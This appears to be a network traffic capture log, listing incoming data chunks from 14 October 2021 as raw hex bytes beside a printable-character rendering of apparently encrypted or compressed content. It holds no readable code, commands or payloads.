transferred Direction Data
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2021-10-14 01:28:02 UTC 163 IN Data Raw: 14 f4 b5 c1 70 ca 6e 4f 92 83 97 c4 47 a2 dc f5 23 7e 6f c3 50 02 13 8c d1 8a 00 cb d6 14 63 71 b4 be 45 76 e4 
d7 b8 a0 00 f3 af 03 60 d2 c7 20 3d 06 a7 eb ce 80 c7 48 7e ee 81 23 23 d3 2e 9b 4f e7 16 71 2d 58 a1 d1 52 9d a0 2c 85 
c3 e1 f8 d0 e5 6e cc 26 77 ca 69 43 d8 5b 4d 29 0f 34 1a 3c 7a fd 55 8a de 54 59 0e 2a 43 bc 77 0c db ad d5 11 c1 66 32 
5c 93 09 cb 7d 77 fb 7d 9f 68 21 4d a7 58 cd da 9d f8 2c 0a 97 25 9d 9d 0f 1b 50 83 9d 16 d9 c4 86 03 c7 b8 62 1c 11 de 
f6 ee 72 55 9f 1a 78 70 84 62 1a 70 e0 00 1a 94 af 02 de 6d 5e 44 b4 35 4d 30 7b 70 7f a2 3d c5 58 c6 42 7a 18 fe 62 a7 
52 be b9 3d fb 8f 0e 47 a2 b3 64 d6 a8 e9 2e c3 62 41 f9 ba ae 4f 12 2c dc ff 0f d4 a3 28 9a 8d 5b 11 b2 74 22 fc c6 bc 30 
49 ac e9 52 f1 b2 ac 8c 11 66 94 6d 5c 54 3a 3f 77 
Data Ascii: pnOG#~oPcqEv` =H~##.Oq-XR,n&wiC[M)4<zUTY*Cwf2\}w}h!MX,%PbrUxpbpm^D5M0{p=XBzbR=Gd.bAO,([t
"0IRfm\T:?w

2021-10-14 01:28:02 UTC 164 IN Data Raw: 0c 62 10 d9 04 c3 3b 88 9e 4e 89 7e 4c 0d ad f9 51 0b b4 4e 95 bf 31 51 0c b8 39 69 6c ec 0b e9 b9 95 28 4e 
7f 73 3f 93 85 dd 4a 7e 5a d2 78 94 5e 57 2c dd d7 02 a5 50 00 b8 a2 89 4e 9b 93 cd b5 51 ec 71 ed 86 bc 5f df e1 49 a9 
0e 62 f9 4c 13 f1 77 b2 a0 c0 b4 9a b8 8e 61 f5 b2 7b 4c 58 72 f1 49 f8 cc 7e 44 c2 c9 c6 cb da 3a 59 0b ba 12 ef e8 39 47 
b3 5c 82 91 a2 7d d2 57 dd 57 4a 1d ba f0 13 1a 08 89 4a 86 2f a2 36 51 77 70 23 1e 61 09 3b 31 e1 81 be 2c 6c 88 e0 26 
9a 55 f2 e2 98 41 16 33 4a 8e 2f 74 3f 23 5c 7e db 64 e2 09 7c 6e cb 1b 47 04 db 2e a4 07 0e 69 6a 83 e1 ba 0c b5 e7 c0 
8e 52 c9 ba 6d bc 35 7e 6d ac 06 7f b5 78 82 8b ff 2b 79 3e 28 77 1c ad 09 97 3b 30 df 5f 8d 14 e1 be b3 4a 42 11 a3 83 
44 07 3a 49 0e 48 ad a2 69 2d 48 6e 38 e2 62 52 7c 1b 
Data Ascii: b;N~LQN1Q9il(Ns?J~Zx^W,PNQq_IbLwa{LXrI~D:Y9G\}WWJJ/6Qwp#a;1,l&UA3J/t?#\~d|nG.ijRm5~mx+y>
(w;0_JBD:IHi-Hn8bR|

2021-10-14 01:28:02 UTC 166 IN Data Raw: 3a 54 59 b1 d3 66 d6 04 2b ce 04 ca b3 f7 e4 25 52 7d bc 6e 6e 53 b5 40 06 de 08 7f eb 27 31 ca 63 9a 37 77 
e1 b0 03 50 78 77 47 3f a8 c6 20 e0 3c eb 42 80 df ca c5 41 f3 de 9e 41 b5 36 ab f0 4e d2 09 55 3a a1 4f 10 5d e4 34 16 
56 9d 83 99 e6 36 44 26 d9 da 5b ee b6 f5 cb b1 4b a7 0c 28 66 5e 9d 6f 3c 59 fe 75 10 37 a6 1c 66 44 55 54 0e 2a f5 27 
72 63 21 ac 85 eb 60 d6 d9 66 e4 8a 76 0f 7c af 45 9f 64 26 de 5b a2 50 7e 7e 6e fc 71 20 4e 51 fb 99 e5 86 2e 3c a4 cf fe 
23 8a 38 0f 9c e3 9d 87 64 f0 d5 37 0b 2b 59 97 e3 a3 23 b9 bc 00 00 de 7f 62 4c 7b 15 87 08 9a b5 5f d8 58 79 1e b3 fc 
b8 fb 31 c8 43 65 ee fb a5 f0 b1 a1 b6 1e 8b 45 4a b5 f9 79 5c 06 43 89 42 76 dc 54 c6 11 34 ba b7 2d 2e 73 f6 d3 ab b0 
b1 77 17 9c d0 b5 a2 19 f7 ca 60 1a 6e fc d2 d2 79 bb 
Data Ascii: :TYf+%R}nnS@'1c7wPxwG? <BAA6NU:O]4V6D&[K(f^o<Yu7fDUT*'rc!`fv|Ed&[P~~nq NQ.<#8d7+Y#bL{_Xy
1CeEJy\CBvT4-.sw`ny

2021-10-14 01:28:02 UTC 167 IN Data Raw: db d2 2e eb dd 28 e0 76 9d 5b e2 32 42 2e 6d 71 33 36 c3 8b b3 be 6a e0 f4 a1 64 4a 9e e5 71 01 da cb 7e d3 
54 83 c4 ca a3 af 95 18 36 12 e4 7e 38 7e a5 5a 82 06 da 34 1f 56 53 42 46 0f b8 f1 d7 df 09 9a 31 82 fe 35 b9 88 5c 76 
23 0a 37 41 39 37 fc cb 6e 3f e0 88 e2 b1 9b 1f 4f f2 98 d6 86 7b 9f 88 b9 08 3b 30 5a 28 4f f4 e3 21 4d 38 9c 0f d3 2d f5 
78 24 c3 2e 56 46 d5 7c f0 dc 9d 5c 97 ac a4 c8 92 3a e9 b5 b5 6a 84 fd 29 ab 11 82 a3 d3 7d b2 d0 21 5f 2d fb 5e 08 a6 
19 f1 09 0d 21 50 95 9f 1c df d8 7e ab da 50 bf 34 1a 60 4a e3 e9 de 57 46 f7 b4 56 b2 6c 33 99 dd 9a 64 71 76 97 f7 a6 
bb f7 50 fc 7b 59 57 12 95 65 30 4a 12 16 27 ea 81 b8 74 a4 9e 33 d8 94 ef 56 4d 8e 86 b3 d0 5f 22 87 24 e4 06 e8 60 91 
fe c1 e6 ae b0 05 7b c9 0d 7e 6b 54 64 21 38 4b 04 b5 
Data Ascii: .(v[2B.mq36jdJq~T6~8~Z4VSBF15\v#7A97n?O{;0Z(O!M8-x$.VF|\:j)}!_-^!P~P4`JWFVl3dqvP{YWe0J't
3VM_"$`{~kTd!8K

2021-10-14 01:28:02 UTC 168 IN Data Raw: ff 26 0a d2 11 4b 9b 8a 1a 27 94 8a 3d 6b 9c 59 27 d9 93 66 1c d6 e0 4d c3 6b 55 0d 70 66 5b 96 62 28 58 69 
2a 96 9c b0 1d d2 2e 58 44 0c 2b e3 2a b9 71 29 ae 8e df 16 9c db 67 e4 f6 66 a7 f6 af 91 3d 73 8d 47 07 a2 b3 62 d6 62 
fd e6 f2 e4 43 f5 98 e5 7c 04 2c 26 ce ef dc 56 2a ea 95 ef 0b a4 74 f2 d4 b7 94 37 69 02 e3 48 d1 b8 ac 02 01 de 8e eb 5c
68 34 10 6c 43 b0 51 d9 58 f0 16 be 7e b9 ea 47 6b 51 9e e7 f7 75 e5 bc a3 b7 9e bc 4a 67 20 f9 86 f7 05 50 8b 43 76 6b 
f5 8d 05 15 2d 9f 34 37 7d f7 d3 c0 be 98 e9 11 8c 8d 24 b0 0f a8 44 f7 1b 3d e2 84 d2 6d aa 30 4e b4 25 8e 08 c5 39 69 
2f 56 17 77 a2 46 1a 8b 9b f0 39 84 f3 73 28 14 81 14 b9 41 90 8e 66 f9 3a ec 4d db cf 4c f8 a4 b1 71 97 2a 36 f5 08 89 f8 
2f 11 80 1c 28 1e 18 ea ef 48 31 06 29 03 e3 ef 46 
Data Ascii: &K'=kY'fMkUpf[b(Xi*.XD+*q)gf=sGbbC|,&V*t7iH\h4lCQX~GkQuJg PCvk-47}$D=m0N%9i/VwF9s(Af:MLq
*6/(H1)F

2021-10-14 01:28:02 UTC 169 IN Data Raw: 89 30 84 b8 a1 d1 5b 5e 7f 06 1e d8 9d 3b 31 fc 81 6f 34 a7 ac f1 26 bf 55 65 e3 98 41 07 30 0c ae 28 74 6b 2c 
7d 7e cf 63 e2 09 e1 6e 8d 3b 43 04 86 21 81 07 2f 7e 6a 83 7c ba 4a 95 e7 c0 4b 5d ec ba 18 27 35 7e 4d ac c7 77 bc 78 
ec 84 da 2b 17 b1 28 77 21 ad c8 9f b0 36 b1 50 a8 14 78 25 b3 4a 7f 11 6a 8b 61 07 4d 46 2b 48 35 2d 69 2d 75 6e cd ea 
c2 54 0b 14 90 8b 76 e1 72 5e bb f1 a1 c6 66 42 71 22 fc c0 23 49 49 66 ca 06 17 61 51 d6 2b b0 80 d8 ab 14 14 a5 51 0b 
e6 d2 14 32 4d 64 8e 72 64 cd ef 26 be a8 47 96 e9 d3 d8 2f 6c f4 77 2d 78 62 22 af 0c a4 cc 97 39 00 a6 86 91 9c e1 63 
f6 ef af 8f 26 35 18 45 fe 5c 63 93 b5 0c 08 75 cc a4 e7 84 4e 58 95 bb e7 7f 5e 40 e1 1e db 43 83 3f 5d 26 a3 9c bc f1 ba 
bf 20 cd e5 f6 a2 a3 85 64 92 f7 18 ec c4 94 df b5 
Data Ascii: 0[^;1o4&UeA0(tk,}~cn;C!/~j|JK]'5~Mwx+(w!6Px%JjaMF+H5-i-unTvr^fBq"#IIfaQ+Q2Mdrd&G/lw-xb"9c&5E\cuNX^
@C?]& d

2021-10-14 01:28:02 UTC 171 IN Data Raw: 78 9e c3 ac a3 68 60 fc 73 6d 8b f3 64 41 f9 8b e5 eb 05 22 aa e4 fe 58 5e 28 0d 9d e3 18 a4 aa c2 d7 25 be 
26 91 68 e2 a3 d9 b4 bf 02 ca d9 55 69 76 79 c8 79 6d b7 b8 5d ca 58 8a 13 bd ec 93 fb d7 fc 51 67 ef fb 66 e5 b4 92 b4 
0c 96 5b 9b b6 f9 79 ff 09 43 8b 2b 74 b0 77 a7 13 7d bf 9f 31 3e 71 e4 d3 39 b7 b2 62 3b 9a 8d b5 b0 1b a1 4a e4 1b 29 
e5 53 56 47 bc 60 df b4 3b 87 18 d6 39 ad 2e 81 93 5d b4 76 8a 8b be f9 29 97 f3 c1 2d 17 13 3e af 65 0c 8e 4c f0 2a ff 65 
b6 fe 4f ea 8e a0 89 91 2c f7 fd 19 9a e8 d8 10 54 14 02 0f 50 1e fb ae 33 17 3a bf 14 ee fb ee e6 c6 68 c3 3c c0 86 68 16 
bd 39 43 bf 60 49 b1 29 18 08 cf 91 f3 26 da 92 d2 78 1f bd 15 2a 33 60 1c f7 e1 92 14 71 12 a3 3f 50 77 04 dd c2 70 79 
7c 45 06 55 74 5f f3 d9 c4 de 12 fc 83 49 cd a2 38 
Data Ascii: xh`smdA"X^(%&hUivyym]XQgf[yC+tw}1>q9b;J)SVG`;9.]v)->eL*eO,TP3:h<h9C`I)&x*3`q?Pwpy|EUt_I8

2021-10-14 01:28:02 UTC 172 IN Data Raw: 1e 6c 1a 37 6c e5 d1 27 68 78 80 8b ff 2d 3a f5 07 b7 01 e4 de f3 e7 30 dd 5f 8d 12 4c 37 90 03 5e 5b 7c 1b b5 
07 3f 49 0e 4e 6e 26 4a ed 55 24 db 43 95 52 79 1b b5 8d 02 3c 57 4d bb ba a0 76 b2 42 fe 2d d9 c6 1b 5f 44 2f cb 4d 11 
85 85 d6 38 b0 a5 de 17 12 19 65 51 40 a2 20 70 27 5e 64 ab 74 6c 27 e2 6f bc e4 41 aa e8 f7 29 2d 49 f2 7f da 75 a2 21 
e3 4a 97 ec 9d f8 0f 83 80 99 7d e8 2a f4 a2 e9 e8 38 3f 3c 4a db 5a 6b 7d bc cc 0b 38 8a d7 ca 8e 80 57 b0 bd ef 2f 73 
06 e6 50 dd ff 82 1b ac 24 86 9a b4 93 97 41 22 83 a3 45 82 a9 44 6b b7 f1 10 96 cc d2 d8 fa 74 d0 73 91 cb 70 74 61 a6 
31 9d 69 10 23 53 04 b7 22 7a 74 7b 4c 0c 55 2d cd 33 4a cd f2 ff 62 08 b3 b8 43 3b b7 a8 13 a5 50 f6 9f 0d 52 d4 c7 10 
33 45 2b f8 88 5c 8c 03 29 ad 80 11 01 98 1b 95 82 ce 
Data Ascii: l7l'hx-:0_L7^[|?INn&JU$CRy<WMvB-_D/M8eQ@ p'^dtl'oA)-Iu!J}*8?<JZk}8W/sP$A"EDktspta1i#S"zt{LU-3JbC;P
R3E+\)

2021-10-14 01:28:02 UTC 173 IN Data Raw: 51 43 e0 93 75 01 c0 a2 b7 1e bc 5a 47 20 f9 c5 f2 61 50 7b 3c 77 6b 75 8d 02 35 2d 9f 96 1c 19 f7 c7 44 bf 98 
69 11 8b ad 24 b0 c5 83 24 f7 7f bb e3 84 52 6d ad 10 4e b4 d1 a5 68 c5 91 ef 2e 56 97 77 a5 66 1a 8b 4c db 59 84 17 f5 
29 14 01 14 be 61 90 8e 68 d3 5b ec 7f 03 ce 4c f8 a4 a6 71 97 2a e4 fd 68 89 d0 c8 10 80 1c 28 09 00 4e df 98 10 66 29 
33 04 ee 46 ea cc c0 e0 93 18 fc a5 19 05 5d f4 45 ec 7a 63 b0 f9 48 2c ac b2 82 35 62 f7 d6 7b 0d 97 14 82 b3 60 0f f7 90 
81 b0 64 11 78 3d 7a 76 bc d1 c4 63 79 0d 56 be 94 72 f5 e9 f3 d5 ee 9f fc 0a 6a bc b1 34 16 0c 60 11 d9 12 0a ae 89 37 
64 fa dc f8 45 ac fc 50 1b b2 9f d2 9a 22 4c 7d 1e cd 8f 6c e9 0a e9 df eb ab 4f ec 4f 4e 34 c9 21 4a 7c 5a d2 7e 7f 19 72 3f
c0 a6 a5 22 a9 00 ba a3 89 28 79 e8 dd a6 58 
Data Ascii: QCuZG aP{<wku5-Di$$RmNh.VwfLY)ah[Lq*h(Nf)3F]EzcH,5b{`dx=zvcyVrj4`7dEP"L}lOON4!J|Z~r?"(yX

Timestamp
kBytes
transferred Direction Data
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2021-10-14 01:28:02 UTC 175 IN Data Raw: 08 a4 c0 e1 0f 48 66 ca 06 17 79 83 f2 2b b0 d8 d8 17 53 15 a5 51 0b a4 d0 a4 27 02 4e d6 72 e0 10 ee 26 bd 
a8 47 8e b8 f1 75 07 34 f4 8f f0 79 62 21 af 4c a7 3f 9d 2a 0b fe 86 a5 42 e0 63 f5 ef ef 8c 68 39 ee 4e a6 5c 0e 4d b4 0c 
0b 75 9b bf c5 aa 06 57 cd bb 53 5d 5e 40 e2 1e db 43 83 3f bf 24 fb 9c c0 2f bb bf 23 cd b5 f5 51 a9 6e 60 ca f7 28 33 c5 
94 dc b5 62 34 a0 91 1c 74 09 67 52 68 94 97 11 6c 45 f4 64 22 02 7f 06 4a 5c f3 18 e3 32 1a db d6 ae 64 06 bf c5 45 af 
04 9d 8b a6 00 e0 af 5c 54 ac cc 6d 35 a9 74 ec ce 58 dd 12 4d 7f 80 af 2b e5 1d 55 ae da 1e 3a 1e 4f a1 46 56 08 b9 57 
85 76 19 b2 e3 e3 6e 46 2c 28 fe 45 48 ca 51 fa f1 08 34 e9 26 27 ce 97 8b ab 66 9c 14 90 af 7b 76 47 e8 bd d5 b5 e0 ad 
1d 27 93 9d 3a c4 6d f1 7d 95 40 a1 4d 3c 73 2e d3 
Data Ascii: Hfy+SQ'Nr&Gu4yb!L?*Bch9N\MuWS]^@C?$/#Qn`(3b4tgRhlEd"J\2dE\Tm5tXM+U:OFVWvnF,(EHQ4&'f{vG':
m}@M<s.

2021-10-14 01:28:02 UTC 176 IN Data Raw: b4 28 8f 88 be f9 29 12 f3 58 2f f2 03 69 af 08 05 8d 4c f0 2a 7a 65 64 ce aa fa d9 a0 f5 81 2f f7 fd 19 1f e8 2e 
16 66 1e 55 0f 87 09 f8 ae 33 17 bf bf d1 ed a0 e8 b1 c6 42 d4 3f c0 86 68 93 bd 50 4c 0a 78 1e b1 34 0f 0b cf 91 f3 a3 da 
f6 d5 9d 0f ea 15 72 26 63 1c f7 e1 17 14 fe 1a 9e 3f 07 77 b7 c6 c1 70 79 7c c0 06 a9 71 13 eb 8e c4 c9 0b ff 83 49 cd 27 
38 f0 19 86 13 a4 04 48 3a 8a 9e 47 8b 4a 4c 87 ae 1a 52 66 b4 da 94 bd 31 4c 0c 88 39 97 79 0f 08 94 b9 90 3f 4c 7f 6e 
3f a2 85 a6 48 9a 58 af 78 f3 5f 55 2c c0 d7 33 a5 dc 14 5c a1 f4 4e ca 85 cf b5 58 ee 4a ed 39 be bb dc 9c 49 78 0e 60 f9 
45 11 d2 77 c8 b7 24 b6 e7 b8 82 74 f7 b2 66 4c 08 72 18 4b 15 cf 03 44 56 cc c4 cb a3 38 02 0b 0c 04 02 eb 44 47 b9 5f 
80 91 db 7f 8b 57 c1 55 a7 1e c7 f0 ed 1f 
Data Ascii: ()X/iL*zed/.fU3B?hPLx4r&c?wpy|qI'8H:GJLRf1L9y?Ln?HXx_U,3\NXJ9Ix`Ew$tfLrKDV8DG_WU

2021-10-14 01:28:02 UTC 177 IN Data Raw: 70 3c 3c 4a db ca 63 27 b0 ea 09 08 8a 4a 82 8d 80 57 b0 2d e7 4b 6f a6 e0 63 dd 55 cb 18 ac 24 86 0a bc 1e 
bf 59 21 b0 a3 da cb aa 44 6b b7 61 18 76 f5 72 de c8 74 64 3a 92 cb 70 74 f1 ae ae 93 71 13 11 53 85 fe 21 7a 74 7b dc 
04 43 2b 05 30 67 cd 44 b7 61 08 b3 b8 d3 33 a7 9a 6d a4 7d f6 1c 45 51 d4 c7 10 a3 4d 78 d9 28 5a a0 03 98 e5 83 11 
01 98 8b 9d 11 da f8 38 63 5e 56 dc 55 d6 93 2a 13 06 41 b5 05 e1 13 50 35 32 fb 6f 43 b7 c7 06 ab 08 d2 eb 5b 31 f5 5d 
88 35 76 e1 82 2c 6d 7d 90 45 95 ab 89 2c e3 3c 36 5a 05 dd 28 c4 8b f3 00 83 3e bb 48 ad 58 53 45 09 9b 21 ec 50 6c 
5d 1b 13 19 54 9c 83 ab cb 91 5b c1 db ee 70 de a5 f6 cb c3 60 c3 11 0f 6e bd 94 1f 3e bb f0 29 1c 94 bb 8b 66 fb 5a a2 0e
56 f5 2e 72 72 23 ad 85 49 4a d5 d1 81 e6 8b 70 81 6e ac 45 
Data Ascii: p<<Jc'JW-KocU$Y!Dkavrtd:ptqS!zt{C+0gDa3m}EQMx(Z8c^VU*AP52oC[1]5v,m}E,<6Z(>HXSE!Pl]T[p`n>
)fZV.rr#IJpnE

2021-10-14 01:28:02 UTC 178 IN Data Raw: 34 3b 5d f0 14 fe ae b1 4a 5f 11 ea 83 ba 37 d9 4b 73 48 ba a6 6b 2d 55 6e 4d e2 d1 55 9f 19 c8 8b e4 6a 70 
5e bb f1 36 c6 d0 71 18 2f a4 c0 33 c7 4b 66 ca 06 87 61 f7 d1 de b2 d8 d8 5d 9a 16 a5 51 0b 34 d0 a8 14 b8 66 d6 72 00 
d9 ed 26 bd a8 d7 8e f7 f0 cf 2f 34 f4 f1 39 7a 62 21 af dc a7 ac a9 1e 0d fe 86 39 88 e3 63 f5 ef 7f 8c 35 3f da 48 a6 5c a9 
87 b7 0c 0b 75 1c a7 06 89 66 55 cd bb 0b 6b 5c 40 e2 1e 4b 5b 5a 1b 4a 26 fb 9c b2 e4 b8 bf 23 cd 35 f5 df af a2 69 ca 
f7 28 f9 c6 94 dc b5 e2 34 f9 91 2d 72 09 67 fc a2 97 97 11 6c c5 f4 bc 24 9c 76 06 4a 70 06 1b e3 32 1a 5b d6 41 62 ee 
b1 c5 45 a5 f1 9e 8b a6 00 60 af 98 54 32 c5 6d 35 f5 81 ef ce 58 dd 95 4d 9f 83 f7 03 e5 1d 47 5a d9 1e 3a 1e c8 a1 2f 5e 
30 91 57 85 fa ee b1 e3 e3 6e c6 2c 98 fb 89 41 
Data Ascii: 4;]J_7KsHk-UnMUjp^6q/3Kfa]Q4fr&/49zb!9c5?H\ufUk\@K[ZJ&#5i(4-rgl$vJp2[AbE`T2m5XMGZ:/^0Wn,A

2021-10-14 01:28:02 UTC 179 IN Data Raw: 77 f0 13 c5 a5 9c 31 3e 71 61 d3 28 ba 7e 6b 6c 9a bf 93 b3 1b a1 4a 61 1b ff c3 62 50 10 bc 24 f9 b7 3b 87 18 
53 39 70 2a b0 95 0a b4 30 ad 88 be f9 29 12 f3 a0 0d f2 03 69 af 19 27 8d 4c f0 2a 7a 65 c7 ca aa fa d9 a0 e8 a3 2f f7 fd 
19 1f e8 6d 3c 66 1e 55 0f a3 2b f8 ae 33 17 bf bf ee ea a0 e8 b1 c6 25 f6 3f c0 86 68 93 bd 88 74 0a 78 1e b1 1e 2d 0b cf 
91 f3 a3 da da d2 9d 0f ea 15 a2 05 63 1c f7 e1 17 14 cb 21 9e 3f 07 77 fe e4 c1 70 79 7c c0 06 d0 76 13 eb 8e c4 8a 29 ff 
83 49 cd 27 38 d5 3c 86 13 a4 04 8c 18 8a 9e 47 8b 4a 4c 6d aa 1a 52 66 b4 2f b6 bd 31 4c 0c 88 39 27 5f 0f 08 94 b9 21 
1d 4c 7f 6e 3f a2 85 98 4d 9a 58 af 78 8c 7d 55 2c c0 d7 33 a5 83 33 5c a1 f4 4e 77 a4 cf b5 58 ee 4a ed 59 bb bb dc 9c 
49 9b 2f 60 f9 45 11 d2 77 34 94 24 b6 e7 b8 
Data Ascii: w1>qa(~klJabP$;S9p*0)i'L*ze/m<fU+3%?htx-c!?wpy|v)I'8<GJLmRf/1L9'_!Ln?MXx}U,33\NwXJYI/`Ew4$

2021-10-14 01:28:02 UTC 180 IN Data Raw: a2 e2 1f 24 5e 64 ab e4 64 7f f7 c0 bf d5 41 da 80 f4 29 2d 49 62 77 22 7c 84 23 d2 4a d2 84 9e f8 0f 83 10 91 
e2 fb 85 f7 92 e9 1a 50 3c 3c 4a db ca 63 aa b1 ea 09 08 8a 1f a2 8d 80 57 b0 2d e7 42 45 a6 e0 63 dd 81 ea 18 ac 24 86 
0a bc 9c be 59 21 b0 a3 09 ea aa 44 6b b7 61 18 e7 e4 72 de c8 74 2a 1a 92 cb 70 74 f1 ae 20 91 71 13 11 53 b4 de 21 
7a 74 7b dc 04 3b 38 05 30 67 cd b7 97 61 08 b3 b8 d3 33 25 98 6d a4 7d f6 2d 65 51 d4 c7 10 a3 4d cf cc 28 5a a0 03 e9 
c5 83 11 01 98 8b 9d a4 df f8 38 63 5e 67 fc 55 d6 93 2a 13 06 3e 92 05 e1 13 50 c4 11 fb 6f 43 b7 c7 06 06 0c d2 eb 5b 
31 c4 7d 88 35 76 e1 82 2c 9d 5f 90 45 95 ab f9 0c e3 3c 36 5a 05 dd 8d c0 8b f3 00 83 0e 9b 48 ad 58 53 45 09 da 0b ec 
50 6c 5d cb 33 19 54 9c 83 ab cb b4 5c c1 db ee 70 8d 85 
Data Ascii: $^ddA)-Ibw"|#JP<<JcW-BEc$Y!Dkart*pt qS!zt{;80ga3%m}-eQM(Z8c^gU*>PoC[1}5v,_E<6ZHXSEPl]3T\p

2021-10-14 01:28:02 UTC 182 IN Data Raw: bc cd 4c f8 a4 36 71 6f 2f 11 ff 64 89 97 77 13 80 1c 28 99 18 ad ee 48 31 6a 29 1e bb ed 46 ea cc 50 f8 c0 3e 
26 84 15 05 7f 4b 46 ec 7a 63 27 e1 0a 1f 29 93 8e 35 39 47 d5 7b 0d 97 83 82 6e 62 fa f5 9c 81 11 d7 12 78 3d 7a e1 bc 
c2 d4 96 7b 01 56 21 26 71 f5 e9 f3 52 ee 7c fe 65 4b b0 b1 71 a3 0f 60 11 d9 92 0a 7d 9f 78 45 f6 dc 27 5e ae fc 50 1b 22 
87 09 bc d7 4e 71 1e b5 3a 6f e9 0a e9 2f e8 8e 59 99 6c 42 34 28 95 49 7c 5a d2 ee 67 b4 54 ca c2 aa a5 6a 1d 03 ba a3 
89 d8 7a ae d4 53 5a 93 dc 1c 3e bf 5d de e1 df b4 1f 66 1f 47 6c 44 65 09 a3 c2 b4 9a 2e 6a cb ef 54 64 31 9e 46 4a 4a f3 
cd 7e d2 55 f4 c2 2d a1 45 94 5d 0e 11 e4 e9 39 d1 a7 25 99 77 d9 02 1d 2f 69 54 41 1c ba 66 d7 6b 0c 6f 31 f9 fe 38 82 
52 75 70 23 88 30 04 1b d7 fe fc 69 97 d8 8b e2 
Data Ascii: L6qo/dw(H1j)FP>&KFzc')59G{nbx=z{V!&qR|eKq`}xE'^P"Nq:o/YlB4(I|ZgTjzSZ>]fGlDe.jTd1FJJ~U-E]9%w/iTAfko
18Rup#0i

2021-10-14 01:28:02 UTC 183 IN Data Raw: 40 e2 1e 4b 5b 00 1c 4a 26 fb 9c 08 b5 b8 bf 23 cd 35 f5 7b a9 a2 69 ca f7 cd a8 c6 94 dc b5 e2 34 0d 97 2d 72 
09 67 58 f3 97 97 11 6c c5 f4 1c 22 9c 76 06 4a 13 56 1b e3 32 1a 5b d6 ca 64 ee b1 c5 45 0a a1 9e 8b a6 00 60 af 29 51 
32 c5 6d 35 16 d1 ef ce 58 dd 95 4d f3 88 f7 03 e5 1d e1 0a d9 1e 3a 1e c8 a1 49 55 30 91 57 85 9b be b1 e3 e3 6e c6 2c 
20 f2 89 41 ca 51 b8 5f 0b 34 e9 26 a7 ce 96 88 d3 74 9c 14 cc 06 78 76 47 e8 3d d5 5b f5 da 34 27 93 dc 8d c7 6d f1 7d 
15 40 5a 48 4b 5a 2e d3 2a b9 24 0a 52 11 cb bb b4 0f b2 9e fe 3d 8e 82 5b 27 d9 93 e6 1c b2 f7 2d c1 1d 55 76 6f 64 5b 
96 62 a8 58 f4 3d fa 96 c6 1d ee 31 5a 44 0c 2b 63 2a 30 73 c5 af f8 df e3 80 d9 67 e4 f6 e6 a7 6b b9 a3 37 05 8d 09 1c a0
b3 62 d6 e5 fd 06 f0 82 43 84 98 0e 3a 06 2c a6 ce 
Data Ascii: @K[J&#5{i4-rgXl"vJV2[dE`)Q2m5XM:IU0Wn, AQ_4&txvG=[4'm}@ZHKZ.*$R=['-Uvod[bX=1ZD+c*0sgk7bC:,

2021-10-14 01:28:02 UTC 184 IN Data Raw: e1 17 14 65 15 9e 3f 07 77 58 95 c1 70 79 7c c0 06 06 42 13 eb 8e c4 eb 59 ff 83 49 cd 27 38 59 08 86 13 a4 
04 2c 68 8a 9e 47 8b 4a 4c 24 9d 1a 52 66 b4 c0 c6 bd 31 4c 0c 88 39 fd 68 0f 08 94 b9 80 6d 4c 7f 6e 3f a2 85 bb 79 9a 
58 af 78 ee 0d 55 2c c0 d7 33 a5 0c 07 5c a1 f4 4e d0 d7 cf b5 58 ee 4a ed 58 8f bb dc 9c 49 7f 5c 60 f9 45 11 d2 77 61 a7 
24 b6 e7 b8 87 26 f7 b2 66 4c 08 72 8b 7c 15 cf 03 44 5a 9a c4 cb a3 38 02 0b 49 12 02 eb 44 47 96 09 80 91 db 7f 8b 57 
9a 50 a7 1e c7 f0 85 49 0a 89 33 84 68 a2 78 51 93 72 5e 1e 44 58 39 31 fc 81 ff 2c df 8e 04 24 e7 55 f3 b1 9a 41 87 30 
0b 8e 4d 74 db 21 25 7e 78 31 e0 09 61 6e 8a 1b a7 02 3f 2c d9 07 f6 2c 68 83 fc ba 4d b5 14 c3 ca 50 b4 ba ec ed 37 7e 
6d ac 47 7f 35 70 66 89 82 2b 2e 7a 2a 77 01 ad 48 97 
Data Ascii: e?wXpy|BYI'8Y,hGJL$Rf1L9hmLn?yXxU,3\NXJXI\`Ewa$&fLr|DZ8IDGWPI3hxQr^DX91,$UA0Mt!%~x1an?,,
hMP7~mG5pf+.z*wH

Timestamp
kBytes
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2021-10-14 01:28:02 UTC 185 IN Data Raw: 33 fc bd 6d a4 7d f6 bb 15 51 d4 c7 10 a3 4d 21 e9 28 5a a0 03 7b b5 83 11 01 98 8b 9d 00 fa f8 38 63 5e f6 8c 
55 d6 93 2a 13 06 24 b7 05 e1 13 50 55 61 fb 6f 43 b7 c7 06 63 28 d2 eb 5b 31 54 0e 88 35 76 e1 82 2c 53 7f 90 45 95 ab 
69 7f e3 3c 36 5a 05 dd 7a e0 8b f3 00 83 9e e8 48 ad 58 53 45 09 c5 23 ec 50 6c 5d bb 43 19 54 9c 83 ab cb 28 72 c1 db 
ee 70 3e f5 f6 cb c3 60 c3 11 4d 63 bd 94 1f 3e 1c a0 29 1c 94 bb 8b 66 85 68 a2 0e 56 f5 4c 23 72 23 ad 85 49 4a 48 de 
81 e6 8b 70 20 3f ac 45 35 78 1b c3 46 93 55 60 ab 73 54 2f f1 64 41 f9 0e e5 ba 01 ca a4 b3 fe 37 fb 2a 0d 9d e3 9d a4 
32 c3 32 35 e9 26 a4 cb e0 a3 d9 b4 3a 02 00 d8 68 69 21 79 1b d8 6f b7 b8 5d 4f 58 ea 24 58 fc c4 fb 57 a3 52 67 ef fb 
e3 e5 97 a5 51 1c c1 5b 16 e8 fa 79 ff 09 c6 8b 21 44 
Data Ascii: 3m}QM!(Z{8c^U*$PUaoCc([1T5v,SEi<6ZzHXSE#Pl]CT(rp>`Mc>)fhVL#r#IJHp ?E5xFU`sT/dA7*225&:hi!
yo]OX$XWRgQ[y!D

2021-10-14 01:28:02 UTC 187 IN Data Raw: 4e 42 64 11 35 ec ac 47 70 62 d3 41 67 d8 42 65 c1 ae a5 bb 2e 57 bb 9a 89 0b 5f 95 cd 34 58 ab f9 9b 06 34 
5d 9b c4 5a b4 9c 62 bc 60 02 44 43 33 36 c3 54 9b 21 6a 32 d0 4c 67 ed 9e 37 55 88 f3 7c 7e bd 72 93 c4 72 a3 13 b5 af 
36 f2 e4 42 20 97 a5 aa 82 e4 e8 a9 1f a6 53 35 5d 55 bb 09 d7 6b 03 52 31 2d fe 4d 93 b0 77 71 22 5f 3d ec 39 30 fd da 
64 ca e0 20 e2 c9 b1 bf 67 22 98 04 a2 23 9d 87 be 30 18 d2 5a bf cf c4 ea fe 63 af 1c 75 dc fb d8 ef a4 98 37 80 68 42 fc 
